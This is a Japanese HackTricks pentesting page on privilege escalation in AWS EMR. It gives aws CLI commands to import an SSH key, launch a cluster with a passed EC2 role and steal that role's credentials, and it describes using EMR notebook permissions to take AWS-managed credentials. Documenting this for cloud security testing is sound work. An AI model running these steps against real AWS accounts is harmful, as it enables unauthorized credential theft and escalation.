AWS - EMR Privesc

HackTricksのサポート

EMR

EMRに関する詳細情報は以下を参照してください:

AWS - EMR Enum

iam:PassRole, elasticmapreduce:RunJobFlow

これらの権限を持つ攻撃者は、新しいEMRクラスターを実行し、EC2ロールをアタッチしてその資格情報を盗もうとすることができます。 これを行うには、アカウントにインポートされたいくつかのsshプライベートキーを知っている必要があります、または1つをインポートし、マスターノードでポート22を開くことができる必要があります(これは--ec2-attributes内のEmrManagedMasterSecurityGroupおよび/またはServiceAccessSecurityGroup属性で行うことができるかもしれませません)。

# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
chmod 400 /tmp/sshkey
base64 /tmp/sshkey.pub > /tmp/pub.key
aws ec2 import-key-pair \
--key-name "privesc" \
--public-key-material file:///tmp/pub.key


aws emr create-cluster \
--release-label emr-5.15.0 \
--instance-type m4.large \
--instance-count 1 \
--service-role EMR_DefaultRole \
--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc

# Wait 1min and connect via ssh to an EC2 instance of the cluster)
aws emr describe-cluster --cluster-id <id>
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances

注意してください。--service-roleEMRロールが指定され、InstanceProfile内で--ec2-attributesec2ロールが指定されています。ただし、このテクニックはEC2ロールの資格情報を盗むことしかできません(ssh経由で接続するため)、EMR IAMロールは盗むことができません。

潜在的な影響: 指定されたEC2サービスロールへの権限昇格。

elasticmapreduce:CreateEditor, iam:ListRoles, elasticmapreduce:ListClusters, iam:PassRole, elasticmapreduce:DescribeEditor, elasticmapreduce:OpenEditorInConsole

これらの権限を持つ攻撃者はAWSコンソールにアクセスし、ノートブックを作成してIAMロールを盗むことができます。

私のテストでは、ノートブックインスタンスにIAMロールをアタッチしても、IAMロールに関連する資格情報ではなく、AWSが管理する資格情報を盗むことができました。

潜在的な影響: arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfileへのAWS管理ロールへの権限昇格

elasticmapreduce:OpenEditorInConsole

この権限だけで、攻撃者はJupyter NotebookにアクセスしてIAMロールを盗むことができます。 ノートブックのURLはhttps://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/です。

私のテストでは、ノートブックインスタンスにIAMロールをアタッチしても、IAMロールに関連する資格情報ではなく、AWSが管理する資格情報を盗むことができました。

潜在的な影響: arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfileへのAWS管理ロールへの権限昇格

HackTricksのサポート

Last updated